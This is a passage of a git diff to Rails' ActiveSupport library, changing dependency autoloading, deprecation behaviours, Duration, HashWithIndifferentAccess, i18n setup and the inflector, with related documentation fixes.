@@ -455,10 +488,10 @@ module ActiveSupport #:nodoc:
expanded = File.expand_path(file_path)
expanded.sub!(/\.rb\z/, '')
- if loaded.include?(expanded)
+ if loading.include?(expanded)
raise "Circular dependency detected while autoloading constant #{qualified_name}"
else
- require_or_load(expanded)
+ require_or_load(expanded, qualified_name)
raise LoadError, "Unable to autoload constant #{qualified_name}, expected #{file_path} to define it" unless from_mod.const_defined?(const_name, false)
return from_mod.const_get(const_name)
end
@@ -496,9 +529,9 @@ module ActiveSupport #:nodoc:
end
end
- raise NameError,
- "uninitialized constant #{qualified_name}",
- caller.reject { |l| l.starts_with? __FILE__ }
+ name_error = NameError.new("uninitialized constant #{qualified_name}", const_name)
+ name_error.set_backtrace(caller.reject {|l| l.starts_with? __FILE__ })
+ raise name_error
end
# Remove the constants that have been autoloaded, and those that have been
@@ -517,7 +550,7 @@ module ActiveSupport #:nodoc:
class ClassCache
def initialize
- @store = Hash.new
+ @store = ThreadSafe::Cache.new
end
def empty?
@@ -633,7 +666,7 @@ module ActiveSupport #:nodoc:
when String then desc.sub(/^::/, '')
when Symbol then desc.to_s
when Module
- desc.name.presence ||
+ desc.name ||
raise(ArgumentError, "Anonymous modules have no name to be referenced by")
else raise TypeError, "Not a valid constant descriptor: #{desc.inspect}"
end
@@ -647,6 +680,14 @@ module ActiveSupport #:nodoc:
constants = normalized.split('::')
to_remove = constants.pop
+ # Remove the file path from the loaded list.
+ file_path = search_for_file(const.underscore)
+ if file_path
+ expanded = File.expand_path(file_path)
+ expanded.sub!(/\.rb\z/, '')
+ self.loaded.delete(expanded)
+ end
+
if constants.empty?
parent = Object
else
@@ -701,7 +742,7 @@ module ActiveSupport #:nodoc:
protected
def log_call(*args)
if log_activity?
- arg_str = args.collect { |arg| arg.inspect } * ', '
+ arg_str = args.collect(&:inspect) * ', '
/in `([a-z_\?\!]+)'/ =~ caller(1).first
selector = $1 || '<unknown>'
log "called #{selector}(#{arg_str})"
diff --git a/activesupport/lib/active_support/dependencies/autoload.rb b/activesupport/lib/active_support/dependencies/autoload.rb
index 9fc58a338f..13036d521d 100644
--- a/activesupport/lib/active_support/dependencies/autoload.rb
+++ b/activesupport/lib/active_support/dependencies/autoload.rb
@@ -34,7 +34,7 @@ module ActiveSupport
def autoload(const_name, path = @_at_path)
unless path
- full = [name, @_under_path, const_name.to_s, path].compact.join("::")
+ full = [name, @_under_path, const_name.to_s].compact.join("::")
path = Inflector.underscore(full)
end
@@ -67,7 +67,7 @@ module ActiveSupport
end
def eager_load!
- @_autoloads.values.each { |file| require file }
+ @_autoloads.each_value { |file| require file }
end
def autoloads
diff --git a/activesupport/lib/active_support/deprecation.rb b/activesupport/lib/active_support/deprecation.rb
index 6c15fffc0f..46e9996d59 100644
--- a/activesupport/lib/active_support/deprecation.rb
+++ b/activesupport/lib/active_support/deprecation.rb
@@ -25,14 +25,14 @@ module ActiveSupport
include Reporting
include MethodWrapper
- # The version the deprecated behavior will be removed, by default.
+ # The version number in which the deprecated behavior will be removed, by default.
attr_accessor :deprecation_horizon
- # It accepts two parameters on initialization. The first is an version of library
- # and the second is an library name
+ # It accepts two parameters on initialization. The first is a version of library
+ # and the second is a library name
#
# ActiveSupport::Deprecation.new('2.0', 'MyLibrary')
- def initialize(deprecation_horizon = '4.1', gem_name = 'Rails')
+ def initialize(deprecation_horizon = '5.0', gem_name = 'Rails')
self.gem_name = gem_name
self.deprecation_horizon = deprecation_horizon
# By default, warnings are not silenced and debugging is off.
diff --git a/activesupport/lib/active_support/deprecation/behaviors.rb b/activesupport/lib/active_support/deprecation/behaviors.rb
index 90db180124..328b8c320a 100644
--- a/activesupport/lib/active_support/deprecation/behaviors.rb
+++ b/activesupport/lib/active_support/deprecation/behaviors.rb
@@ -1,14 +1,24 @@
require "active_support/notifications"
module ActiveSupport
+ class DeprecationException < StandardError
+ end
+
class Deprecation
# Default warning behaviors per Rails.env.
DEFAULT_BEHAVIORS = {
- :stderr => Proc.new { |message, callstack|
+ raise: ->(message, callstack) {
+ e = DeprecationException.new(message)
+ e.set_backtrace(callstack)
+ raise e
+ },
+
+ stderr: ->(message, callstack) {
$stderr.puts(message)
$stderr.puts callstack.join("\n ") if debug
},
- :log => Proc.new { |message, callstack|
+
+ log: ->(message, callstack) {
logger =
if defined?(Rails) && Rails.logger
Rails.logger
@@ -19,11 +29,13 @@ module ActiveSupport
logger.warn message
logger.debug callstack.join("\n ") if debug
},
- :notify => Proc.new { |message, callstack|
+
+ notify: ->(message, callstack) {
ActiveSupport::Notifications.instrument("deprecation.rails",
:message => message, :callstack => callstack)
},
- :silence => Proc.new { |message, callstack| }
+
+ silence: ->(message, callstack) {},
}
module Behavior
@@ -40,6 +52,7 @@ module ActiveSupport
#
# Available behaviors:
#
+ # [+raise+] Raise <tt>ActiveSupport::DeprecationException</tt>.
# [+stderr+] Log all deprecation warnings to +$stderr+.
# [+log+] Log all deprecation warnings to +Rails.logger+.
# [+notify+] Use +ActiveSupport::Notifications+ to notify +deprecation.rails+.
@@ -52,7 +65,7 @@ module ActiveSupport
# ActiveSupport::Deprecation.behavior = :stderr
# ActiveSupport::Deprecation.behavior = [:stderr, :log]
# ActiveSupport::Deprecation.behavior = MyCustomHandler
- # ActiveSupport::Deprecation.behavior = proc { |message, callstack|
+ # ActiveSupport::Deprecation.behavior = ->(message, callstack) {
# # custom stuff
# }
def behavior=(behavior)
diff --git a/activesupport/lib/active_support/deprecation/proxy_wrappers.rb b/activesupport/lib/active_support/deprecation/proxy_wrappers.rb
index 485dc91063..a03a66b96b 100644
--- a/activesupport/lib/active_support/deprecation/proxy_wrappers.rb
+++ b/activesupport/lib/active_support/deprecation/proxy_wrappers.rb
@@ -25,7 +25,7 @@ module ActiveSupport
end
end
- # This DeprecatedObjectProxy transforms object to depracated object.
+ # This DeprecatedObjectProxy transforms object to deprecated object.
#
# @old_object = DeprecatedObjectProxy.new(Object.new, "Don't use this object anymore!")
# @old_object = DeprecatedObjectProxy.new(Object.new, "Don't use this object anymore!", deprecator_instance)
@@ -52,7 +52,7 @@ module ActiveSupport
end
# This DeprecatedInstanceVariableProxy transforms instance variable to
- # depracated instance variable.
+ # deprecated instance variable.
#
# class Example
# def initialize(deprecator)
@@ -93,7 +93,7 @@ module ActiveSupport
end
end
- # This DeprecatedConstantProxy transforms constant to depracated constant.
+ # This DeprecatedConstantProxy transforms constant to deprecated constant.
#
# OLD_CONST = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('OLD_CONST', 'NEW_CONST')
# OLD_CONST = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('OLD_CONST', 'NEW_CONST', deprecator_instance)
diff --git a/activesupport/lib/active_support/duration.rb b/activesupport/lib/active_support/duration.rb
index 2cb1f408b6..0de1d2c7df 100644
--- a/activesupport/lib/active_support/duration.rb
+++ b/activesupport/lib/active_support/duration.rb
@@ -1,4 +1,3 @@
-require 'active_support/proxy_object'
require 'active_support/core_ext/array/conversions'
require 'active_support/core_ext/object/acts_like'
@@ -7,7 +6,7 @@ module ActiveSupport
# Time#advance, respectively. It mainly supports the methods on Numeric.
#
# 1.month.ago # equivalent to Time.now.advance(months: -1)
- class Duration < ProxyObject
+ class Duration
attr_accessor :value, :parts
def initialize(value, parts) #:nodoc:
@@ -39,6 +38,10 @@ module ActiveSupport
end
alias :kind_of? :is_a?
+ def instance_of?(klass) # :nodoc:
+ Duration == klass || value.instance_of?(klass)
+ end
+
# Returns +true+ if +other+ is also a Duration instance with the
# same +value+, or if <tt>other == value</tt>.
def ==(other)
@@ -49,6 +52,20 @@ module ActiveSupport
end
end
+ def to_s
+ @value.to_s
+ end
+
+ # Returns +true+ if +other+ is also a Duration instance, which has the
+ # same parts as this one.
+ def eql?(other)
+ Duration === other && other.value.eql?(value)
+ end
+
+ def hash
+ @value.hash
+ end
+
def self.===(other) #:nodoc:
other.is_a?(Duration)
rescue ::NoMethodError
@@ -70,19 +87,23 @@ module ActiveSupport
alias :until :ago
def inspect #:nodoc:
- consolidated = parts.inject(::Hash.new(0)) { |h,(l,r)| h[l] += r; h }
- parts = [:years, :months, :days, :minutes, :seconds].map do |length|
- n = consolidated[length]
- "#{n} #{n == 1 ? length.to_s.singularize : length.to_s}" if n.nonzero?
- end.compact
- parts = ["0 seconds"] if parts.empty?
- parts.to_sentence(:locale => :en)
+ parts.
+ reduce(::Hash.new(0)) { |h,(l,r)| h[l] += r; h }.
+ sort_by {|unit, _ | [:years, :months, :days, :minutes, :seconds].index(unit)}.
+ map {|unit, val| "#{val} #{val == 1 ? unit.to_s.chop : unit.to_s}"}.
+ to_sentence(:locale => :en)
end
def as_json(options = nil) #:nodoc:
to_i
end
+ def respond_to_missing?(method, include_private=false) #:nodoc
+ @value.respond_to?(method, include_private)
+ end
+
+ delegate :<=>, to: :value
+
protected
def sum(sign, time = ::Time.current) #:nodoc:
@@ -101,6 +122,13 @@ module ActiveSupport
private
+ # We define it as a workaround to Ruby 2.0.0-p353 bug.
+ # For more information, check rails/rails#13055.
+ # Remove it when we drop support for 2.0.0-p353.
+ def ===(other) #:nodoc:
+ value === other
+ end
+
def method_missing(method, *args, &block) #:nodoc:
value.send(method, *args, &block)
end
diff --git a/activesupport/lib/active_support/file_update_checker.rb b/activesupport/lib/active_support/file_update_checker.rb
index 20136dd1b0..78b627c286 100644
--- a/activesupport/lib/active_support/file_update_checker.rb
+++ b/activesupport/lib/active_support/file_update_checker.rb
@@ -92,7 +92,7 @@ module ActiveSupport
def watched
@watched || begin
- all = @files.select { |f| File.exists?(f) }
+ all = @files.select { |f| File.exist?(f) }
all.concat(Dir[@glob]) if @glob
all
end
@@ -115,7 +115,7 @@ module ActiveSupport
end
def compile_glob(hash)
- hash.freeze # Freeze so changes aren't accidently pushed
+ hash.freeze # Freeze so changes aren't accidentally pushed
return if hash.empty?
globs = hash.map do |key, value|
diff --git a/activesupport/lib/active_support/file_watcher.rb b/activesupport/lib/active_support/file_watcher.rb
deleted file mode 100644
index 81e63e76a7..0000000000
--- a/activesupport/lib/active_support/file_watcher.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-module ActiveSupport
- class FileWatcher
- class Backend
- def initialize(path, watcher)
- @watcher = watcher
- @path = path
- end
-
- def trigger(files)
- @watcher.trigger(files)
- end
- end
-
- def initialize
- @regex_matchers = {}
- end
-
- def watch(pattern, &block)
- @regex_matchers[pattern] = block
- end
-
- def trigger(files)
- trigger_files = Hash.new { |h,k| h[k] = Hash.new { |h2,k2| h2[k2] = [] } }
-
- files.each do |file, state|
- @regex_matchers.each do |pattern, block|
- trigger_files[block][state] << file if pattern === file
- end
- end
-
- trigger_files.each do |block, payload|
- block.call payload
- end
- end
- end
-end
diff --git a/activesupport/lib/active_support/gem_version.rb b/activesupport/lib/active_support/gem_version.rb
new file mode 100644
index 0000000000..7068f09d87
--- /dev/null
+++ b/activesupport/lib/active_support/gem_version.rb
@@ -0,0 +1,15 @@
+module ActiveSupport
+ # Returns the version of the currently loaded Active Support as a <tt>Gem::Version</tt>
+ def self.gem_version
+ Gem::Version.new VERSION::STRING
+ end
+
+ module VERSION
+ MAJOR = 5
+ MINOR = 0
+ TINY = 0
+ PRE = "alpha"
+
+ STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+ end
+end
diff --git a/activesupport/lib/active_support/gzip.rb b/activesupport/lib/active_support/gzip.rb
index 6ef33ab683..b837c879bb 100644
--- a/activesupport/lib/active_support/gzip.rb
+++ b/activesupport/lib/active_support/gzip.rb
@@ -25,9 +25,9 @@ module ActiveSupport
end
# Compresses a string using gzip.
- def self.compress(source)
+ def self.compress(source, level=Zlib::DEFAULT_COMPRESSION, strategy=Zlib::DEFAULT_STRATEGY)
output = Stream.new
- gz = Zlib::GzipWriter.new(output)
+ gz = Zlib::GzipWriter.new(output, level, strategy)
gz.write(source)
gz.close
output.string
diff --git a/activesupport/lib/active_support/hash_with_indifferent_access.rb b/activesupport/lib/active_support/hash_with_indifferent_access.rb
index 306d80b2df..1468c62151 100644
--- a/activesupport/lib/active_support/hash_with_indifferent_access.rb
+++ b/activesupport/lib/active_support/hash_with_indifferent_access.rb
@@ -1,4 +1,5 @@
require 'active_support/core_ext/hash/keys'
+require 'active_support/core_ext/hash/reverse_merge'
module ActiveSupport
# Implements a hash where keys <tt>:foo</tt> and <tt>"foo"</tt> are considered
@@ -55,7 +56,7 @@ module ActiveSupport
end
def initialize(constructor = {})
- if constructor.is_a?(Hash)
+ if constructor.respond_to?(:to_hash)
super()
update(constructor)
else
@@ -72,13 +73,15 @@ module ActiveSupport
end
def self.new_from_hash_copying_default(hash)
+ hash = hash.to_hash
new(hash).tap do |new_hash|
new_hash.default = hash.default
+ new_hash.default_proc = hash.default_proc if hash.default_proc
end
end
def self.[](*args)
- new.merge(Hash[*args])
+ new.merge!(Hash[*args])
end
alias_method :regular_writer, :[]= unless method_defined?(:regular_writer)
@@ -91,7 +94,7 @@ module ActiveSupport
#
# This value can be later fetched using either +:key+ or +'key'+.
def []=(key, value)
- regular_writer(convert_key(key), convert_value(value))
+ regular_writer(convert_key(key), convert_value(value, for: :assignment))
end
alias_method :store, :[]=
@@ -125,7 +128,7 @@ module ActiveSupport
if other_hash.is_a? HashWithIndifferentAccess
super(other_hash)
else
- other_hash.each_pair do |key, value|
+ other_hash.to_hash.each_pair do |key, value|
if block_given? && key?(key)
value = yield(convert_key(key), self[key], value)
end
@@ -159,7 +162,7 @@ module ActiveSupport
#
# counters.fetch('foo') # => 1
# counters.fetch(:bar, 0) # => 0
- # counters.fetch(:bar) {|key| 0} # => 0
+ # counters.fetch(:bar) { |key| 0 } # => 0
# counters.fetch(:zoo) # => KeyError: key not found: "zoo"
def fetch(key, *extras)
super(convert_key(key), *extras)
@@ -172,10 +175,17 @@ module ActiveSupport
# hash[:b] = 'y'
# hash.values_at('a', 'b') # => ["x", "y"]
def values_at(*indices)
- indices.collect {|key| self[convert_key(key)]}
+ indices.collect { |key| self[convert_key(key)] }
end
- # Returns an exact copy of the hash.
+ # Returns a shallow copy of the hash.
+ #
+ # hash = ActiveSupport::HashWithIndifferentAccess.new({ a: { b: 'b' } })
+ # dup = hash.dup
+ # dup[:a][:c] = 'c'
+ #
+ # hash[:a][:c] # => nil
+ # dup[:a][:c] # => "c"
def dup
self.class.new(self).tap do |new_hash|
new_hash.default = default
@@ -207,7 +217,7 @@ module ActiveSupport
# Replaces the contents of this hash with other_hash.
#
# h = { "a" => 100, "b" => 200 }
- # h.replace({ "c" => 300, "d" => 400 }) #=> {"c"=>300, "d"=>400}
+ # h.replace({ "c" => 300, "d" => 400 }) # => {"c"=>300, "d"=>400}
def replace(other_hash)
super(self.class.new_from_hash_copying_default(other_hash))
end
@@ -223,13 +233,25 @@ module ActiveSupport
def deep_stringify_keys; dup end
undef :symbolize_keys!
undef :deep_symbolize_keys!
- def symbolize_keys; to_hash.symbolize_keys end
- def deep_symbolize_keys; to_hash.deep_symbolize_keys end
+ def symbolize_keys; to_hash.symbolize_keys! end
+ def deep_symbolize_keys; to_hash.deep_symbolize_keys! end
def to_options!; self end
+ def select(*args, &block)
+ dup.tap { |hash| hash.select!(*args, &block) }
+ end
+
+ def reject(*args, &block)
+ dup.tap { |hash| hash.reject!(*args, &block) }
+ end
+
# Convert to a regular hash with string keys.
def to_hash
- Hash.new(default).merge!(self)
+ _new_hash = Hash.new(default)
+ each do |key, value|
+ _new_hash[key] = convert_value(value, for: :to_hash)
+ end
+ _new_hash
end
protected
@@ -237,12 +259,18 @@ module ActiveSupport
key.kind_of?(Symbol) ? key.to_s : key
end
- def convert_value(value)
+ def convert_value(value, options = {})
if value.is_a? Hash
- value.nested_under_indifferent_access
+ if options[:for] == :to_hash
+ value.to_hash
+ else
+ value.nested_under_indifferent_access
+ end
elsif value.is_a?(Array)
- value = value.dup if value.frozen?
- value.map! { |e| convert_value(e) }
+ unless options[:for] == :assignment
+ value = value.dup
+ end
+ value.map! { |e| convert_value(e, options) }
else
value
end
diff --git a/activesupport/lib/active_support/i18n.rb b/activesupport/lib/active_support/i18n.rb
index 188653bd9b..6cc98191d4 100644
--- a/activesupport/lib/active_support/i18n.rb
+++ b/activesupport/lib/active_support/i18n.rb
@@ -1,10 +1,13 @@
+require 'active_support/core_ext/hash/deep_merge'
+require 'active_support/core_ext/hash/except'
+require 'active_support/core_ext/hash/slice'
begin
require 'i18n'
- require 'active_support/lazy_load_hooks'
rescue LoadError => e
$stderr.puts "The i18n gem is not available. Please add it to your Gemfile and run bundle install"
raise e
end
+require 'active_support/lazy_load_hooks'
ActiveSupport.run_load_hooks(:i18n)
I18n.load_path << "#{File.dirname(__FILE__)}/locale/en.yml"
diff --git a/activesupport/lib/active_support/i18n_railtie.rb b/activesupport/lib/active_support/i18n_railtie.rb
index 890dd9380b..affcfb7398 100644
--- a/activesupport/lib/active_support/i18n_railtie.rb
+++ b/activesupport/lib/active_support/i18n_railtie.rb
@@ -31,6 +31,12 @@ module I18n
fallbacks = app.config.i18n.delete(:fallbacks)
+ # Avoid issues with setting the default_locale by disabling available locales
+ # check while configuring.
+ enforce_available_locales = app.config.i18n.delete(:enforce_available_locales)
+ enforce_available_locales = I18n.enforce_available_locales if enforce_available_locales.nil?
+ I18n.enforce_available_locales = false
+
app.config.i18n.each do |setting, value|
case setting
when :railties_load_path
@@ -44,6 +50,9 @@ module I18n
init_fallbacks(fallbacks) if fallbacks && validate_fallbacks(fallbacks)
+ # Restore available locales check so it will take place from now on.
+ I18n.enforce_available_locales = enforce_available_locales
+
reloader = ActiveSupport::FileUpdateChecker.new(I18n.load_path.dup){ I18n.reload! }
app.reloaders << reloader
ActionDispatch::Reloader.to_prepare { reloader.execute_if_updated }
diff --git a/activesupport/lib/active_support/inflections.rb b/activesupport/lib/active_support/inflections.rb
index ef882ebd09..2ca1124e76 100644
--- a/activesupport/lib/active_support/inflections.rb
+++ b/activesupport/lib/active_support/inflections.rb
@@ -1,5 +1,11 @@
require 'active_support/inflector/inflections'
+#--
+# Defines the standard inflection rules. These are the starting point for
+# new projects and are not considered complete. The current set of inflection
+# rules is frozen. This means, we do not change them to become more complete.
+# This is a safety measure to keep existing applications from breaking.
+#++
module ActiveSupport
Inflector.inflections(:en) do |inflect|
inflect.plural(/$/, 's')
@@ -57,7 +63,6 @@ module ActiveSupport
inflect.irregular('child', 'children')
inflect.irregular('sex', 'sexes')
inflect.irregular('move', 'moves')
- inflect.irregular('cow', 'kine')
inflect.irregular('zombie', 'zombies')
inflect.uncountable(%w(equipment information rice money species series fish sheep jeans police))
diff --git a/activesupport/lib/active_support/inflector/inflections.rb b/activesupport/lib/active_support/inflector/inflections.rb
index 6f259a093b..486838bd15 100644
--- a/activesupport/lib/active_support/inflector/inflections.rb
+++ b/activesupport/lib/active_support/inflector/inflections.rb
@@ -1,3 +1,4 @@
+require 'thread_safe'
require 'active_support/core_ext/array/prepend_and_append'
require 'active_support/i18n'
@@ -24,9 +25,10 @@ module ActiveSupport
# singularization rules that is runs. This guarantees that your rules run
# before any of the rules that may already have been loaded.
class Inflections
+ @__instance__ = ThreadSafe::Cache.new
+
def self.instance(locale = :en)
- @__instance__ ||= Hash.new { |h, k| h[k] = new }
- @__instance__[locale]
+ @__instance__[locale] ||= new
end
attr_reader :plurals, :singulars, :uncountables, :humans, :acronyms, :acronym_regex
@@ -50,21 +52,21 @@ module ActiveSupport
# into a non-delimited single lowercase word when passed to +underscore+.
#
# acronym 'HTML'
- # titleize 'html' #=> 'HTML'
- # camelize 'html' #=> 'HTML'
- # underscore 'MyHTML' #=> 'my_html'
+ # titleize 'html' # => 'HTML'
+ # camelize 'html' # => 'HTML'
+ # underscore 'MyHTML' # => 'my_html'
#
# The acronym, however, must occur as a delimited unit and not be part of
# another word for conversions to recognize it:
#
# acronym 'HTTP'
- # camelize 'my_http_delimited' #=> 'MyHTTPDelimited'
- # camelize 'https' #=> 'Https', not 'HTTPs'
- # underscore 'HTTPS' #=> 'http_s', not 'https'
+ # camelize 'my_http_delimited' # => 'MyHTTPDelimited'
+ # camelize 'https' # => 'Https', not 'HTTPs'
+ # underscore 'HTTPS' # => 'http_s', not 'https'
#
# acronym 'HTTPS'
- # camelize 'https' #=> 'HTTPS'
- # underscore 'HTTPS' #=> 'https'
+ # camelize 'https' # => 'HTTPS'
+ # underscore 'HTTPS' # => 'https'
#
# Note: Acronyms that are passed to +pluralize+ will no longer be
# recognized, since the acronym will not occur as a delimited unit in the
@@ -72,25 +74,25 @@ module ActiveSupport
# form as an acronym as well:
#
# acronym 'API'
- # camelize(pluralize('api')) #=> 'Apis'
+ # camelize(pluralize('api')) # => 'Apis'
#
# acronym 'APIs'
- # camelize(pluralize('api')) #=> 'APIs'
+ # camelize(pluralize('api')) # => 'APIs'
#
# +acronym+ may be used to specify any word that contains an acronym or
# otherwise needs to maintain a non-standard capitalization. The only
# restriction is that the word must begin with a capital letter.
#
# acronym 'RESTful'
- # underscore 'RESTful' #=> 'restful'
- # underscore 'RESTfulController' #=> 'restful_controller'
- # titleize 'RESTfulController' #=> 'RESTful Controller'
- # camelize 'restful' #=> 'RESTful'
- # camelize 'restful_controller' #=> 'RESTfulController'
+ # underscore 'RESTful' # => 'restful'
+ # underscore 'RESTfulController' # => 'restful_controller'
+ # titleize 'RESTfulController' # => 'RESTful Controller'
+ # camelize 'restful' # => 'RESTful'
+ # camelize 'restful_controller' # => 'RESTfulController'
#
# acronym 'McDonald'
- # underscore 'McDonald' #=> 'mcdonald'
- # camelize 'mcdonald' #=> 'McDonald'
+ # underscore 'McDonald' # => 'mcdonald'
+ # camelize 'mcdonald' # => 'McDonald'
def acronym(word)
@acronyms[word.downcase] = word
@acronym_regex = /#{@acronyms.values.join("|")}/
@@ -126,27 +128,39 @@ module ActiveSupport
def irregular(singular, plural)
@uncountables.delete(singular)
@uncountables.delete(plural)
- if singular[0,1].upcase == plural[0,1].upcase
- plural(Regexp.new("(#{singular[0,1]})#{singular[1..-1]}$", "i"), '\1' + plural[1..-1])
- plural(Regexp.new("(#{plural[0,1]})#{plural[1..-1]}$", "i"), '\1' + plural[1..-1])
- singular(Regexp.new("(#{plural[0,1]})#{plural[1..-1]}$", "i"), '\1' + singular[1..-1])
+
+ s0 = singular[0]
+ srest = singular[1..-1]
+
+ p0 = plural[0]
+ prest = plural[1..-1]
+
+ if s0.upcase == p0.upcase
+ plural(/(#{s0})#{srest}$/i, '\1' + prest)
+ plural(/(#{p0})#{prest}$/i, '\1' + prest)
+
+ singular(/(#{s0})#{srest}$/i, '\1' + srest)
+ singular(/(#{p0})#{prest}$/i, '\1' + srest)
else
- plural(Regexp.new("#{singular[0,1].upcase}(?i)#{singular[1..-1]}$"), plural[0,1].upcase + plural[1..-1])
- plural(Regexp.new("#{singular[0,1].downcase}(?i)#{singular[1..-1]}$"), plural[0,1].downcase + plural[1..-1])
- plural(Regexp.new("#{plural[0,1].upcase}(?i)#{plural[1..-1]}$"), plural[0,1].upcase + plural[1..-1])
- plural(Regexp.new("#{plural[0,1].downcase}(?i)#{plural[1..-1]}$"), plural[0,1].downcase + plural[1..-1])
- singular(Regexp.new("#{plural[0,1].upcase}(?i)#{plural[1..-1]}$"), singular[0,1].upcase + singular[1..-1])
- singular(Regexp.new("#{plural[0,1].downcase}(?i)#{plural[1..-1]}$"), singular[0,1].downcase + singular[1..-1])
+ plural(/#{s0.upcase}(?i)#{srest}$/, p0.upcase + prest)
+ plural(/#{s0.downcase}(?i)#{srest}$/, p0.downcase + prest)
+ plural(/#{p0.upcase}(?i)#{prest}$/, p0.upcase + prest)
+ plural(/#{p0.downcase}(?i)#{prest}$/, p0.downcase + prest)
+
+ singular(/#{s0.upcase}(?i)#{srest}$/, s0.upcase + srest)
+ singular(/#{s0.downcase}(?i)#{srest}$/, s0.downcase + srest)
+ singular(/#{p0.upcase}(?i)#{prest}$/, s0.upcase + srest)
+ singular(/#{p0.downcase}(?i)#{prest}$/, s0.downcase + srest)
end
end
- # Add uncountable words that shouldn't be attempted inflected.
+ # Specifies words that are uncountable and should not be inflected.
#
# uncountable 'money'
# uncountable 'money', 'information'
# uncountable %w( money information rice )
def uncountable(*words)
- (@uncountables << words).flatten!
+ @uncountables += words.flatten.map(&:downcase)
end
# Specifies a humanized form of a string by a regular expression rule or
diff --git a/activesupport/lib/active_support/inflector/methods.rb b/activesupport/lib/active_support/inflector/methods.rb
index 1eb2b4212b..74b3a7c2a9 100644
--- a/activesupport/lib/active_support/inflector/methods.rb
+++ b/activesupport/lib/active_support/inflector/methods.rb
@@ -1,6 +1,5 @@
# encoding: utf-8
-require 'active_support/inflector/inflections'
require 'active_support/inflections'
module ActiveSupport
@@ -37,7 +36,7 @@ module ActiveSupport
# string.
#
# If passed an optional +locale+ parameter, the word will be
- # pluralized using rules defined for that language. By default,
+ # singularized using rules defined for that language. By default,
# this parameter is set to <tt>:en</tt>.
#
# 'posts'.singularize # => "post"
@@ -73,7 +72,9 @@ module ActiveSupport
else
string = string.sub(/^(?:#{inflections.acronym_regex}(?=\b|[A-Z_])|\w)/) { $&.downcase }
end
- string.gsub(/(?:_|(\/))([a-z\d]*)/i) { "#{$1}#{inflections.acronyms[$2] || $2.capitalize}" }.gsub('/', '::')
+ string.gsub!(/(?:_|(\/))([a-z\d]*)/i) { "#{$1}#{inflections.acronyms[$2] || $2.capitalize}" }
+ string.gsub!(/\//, '::')
+ string
end
# Makes an underscored, lowercase form from the expression in the string.
@@ -88,9 +89,9 @@ module ActiveSupport
#
# 'SSLError'.underscore.camelize # => "SslError"
def underscore(camel_cased_word)
- word = camel_cased_word.to_s.dup
- word.gsub!('::', '/')
- word.gsub!(/(?:([A-Za-z\d])|^)(#{inflections.acronym_regex})(?=\b|[^a-z])/) { "#{$1}#{$1 && '_'}#{$2.downcase}" }
+ return camel_cased_word unless camel_cased_word =~ /[A-Z-]|::/
+ word = camel_cased_word.to_s.gsub(/::/, '/')
+ word.gsub!(/(?:(?<=([A-Za-z\d]))|\b)(#{inflections.acronym_regex})(?=\b|[^a-z])/) { "#{$1 && '_'}#{$2.downcase}" }
word.gsub!(/([A-Z\d]+)([A-Z][a-z])/,'\1_\2')
word.gsub!(/([a-z\d])([A-Z])/,'\1_\2')
word.tr!("-", "_")
@@ -98,20 +99,47 @@ module ActiveSupport
word
end
- # Capitalizes the first word and turns underscores into spaces and strips a
- # trailing "_id", if any. Like +titleize+, this is meant for creating pretty
- # output.
+ # Tweaks an attribute name for display to end users.
+ #
+ # Specifically, +humanize+ performs these transformations:
+ #
+ # * Applies human inflection rules to the argument.
+ # * Deletes leading underscores, if any.
+ # * Removes a "_id" suffix if present.
+ # * Replaces underscores with spaces, if any.
+ # * Downcases all words except acronyms.
+ # * Capitalizes the first word.
+ #
+ # The capitalization of the first word can be turned off by setting the
+ # +:capitalize+ option to false (default is true).
+ #
+ # humanize('employee_salary') # => "Employee salary"
+ # humanize('author_id') # => "Author"
+ # humanize('author_id', capitalize: false) # => "author"
+ # humanize('_id') # => "Id"
#
- # 'employee_salary'.humanize # => "Employee salary"
- # 'author_id'.humanize # => "Author"
- def humanize(lower_case_and_underscored_word)
+ # If "SSL" was defined to be an acronym:
+ #
+ # humanize('ssl_error') # => "SSL error"
+ #
+ def humanize(lower_case_and_underscored_word, options = {})
result = lower_case_and_underscored_word.to_s.dup
+
inflections.humans.each { |(rule, replacement)| break if result.sub!(rule, replacement) }
- result.gsub!(/_id$/, "")
+
+ result.sub!(/\A_+/, '')
+ result.sub!(/_id\z/, '')
result.tr!('_', ' ')
- result.gsub(/([a-z\d]*)/i) { |match|
+
+ result.gsub!(/([a-z\d]*)/i) do |match|
"#{inflections.acronyms[match] || match.downcase}"
- }.gsub(/^\w/) { $&.upcase }
+ end
+
+ if options.fetch(:capitalize, true)
+ result.sub!(/\A\w/) { |match| match.upcase }
+ end
+
+ result
end
# Capitalizes all the words and replaces some characters in the string to
@@ -147,7 +175,7 @@ module ActiveSupport
#
# Singular names are not handled correctly:
#
- # 'business'.classify # => "Busines"
+ # 'calculus'.classify # => "Calculu"
def classify(table_name)
# strip out any leading schema name
camelize(singularize(table_name.to_s.sub(/.*\./, '')))
@@ -164,6 +192,8 @@ module ActiveSupport
#
# 'ActiveRecord::CoreExtensions::String::Inflections'.demodulize # => "Inflections"
# 'Inflections'.demodulize # => "Inflections"
+ # '::Inflections'.demodulize # => "Inflections"
+ # ''.demodulize # => ""
#
# See also +deconstantize+.
def demodulize(path)
@@ -185,7 +215,7 @@ module ActiveSupport
#
# See also +demodulize+.
def deconstantize(path)
- path.to_s[0...(path.rindex('::') || 0)] # implementation based on the one in facets' Module#spacename
+ path.to_s[0, path.rindex('::') || 0] # implementation based on the one in facets' Module#spacename
end
# Creates a foreign key name from a class name.
@@ -219,7 +249,12 @@ module ActiveSupport
# unknown.
def constantize(camel_cased_word)
names = camel_cased_word.split('::')
- names.shift if names.empty? || names.first.empty?
+
+ # Trigger a built-in NameError exception including the ill-formed constant in the message.
+ Object.const_get(camel_cased_word) if names.empty?
+
+ # Remove the first blank element in case of '::ClassName' notation.
+ names.shift if names.size > 1 && names.first.empty?
names.inject(Object) do |constant, name|
if constant == Object
@@ -229,8 +264,8 @@ module ActiveSupport
next candidate if constant.const_defined?(name, false)
next candidate unless Object.const_defined?(name)
- # Go down the ancestors to check it it's owned
- # directly before we reach Object or the end of ancestors.
+ # Go down the ancestors to check if it is owned directly. The check
+ # stops when we reach Object or the end of ancestors tree.
constant = constant.ancestors.inject do |const, ancestor|
break const if ancestor == Object
break ancestor if ancestor.const_defined?(name, false)
@@ -266,14 +301,12 @@ module ActiveSupport
# 'UnknownModule'.safe_constantize # => nil
# 'UnknownModule::Foo::Bar'.safe_constantize # => nil
def safe_constantize(camel_cased_word)
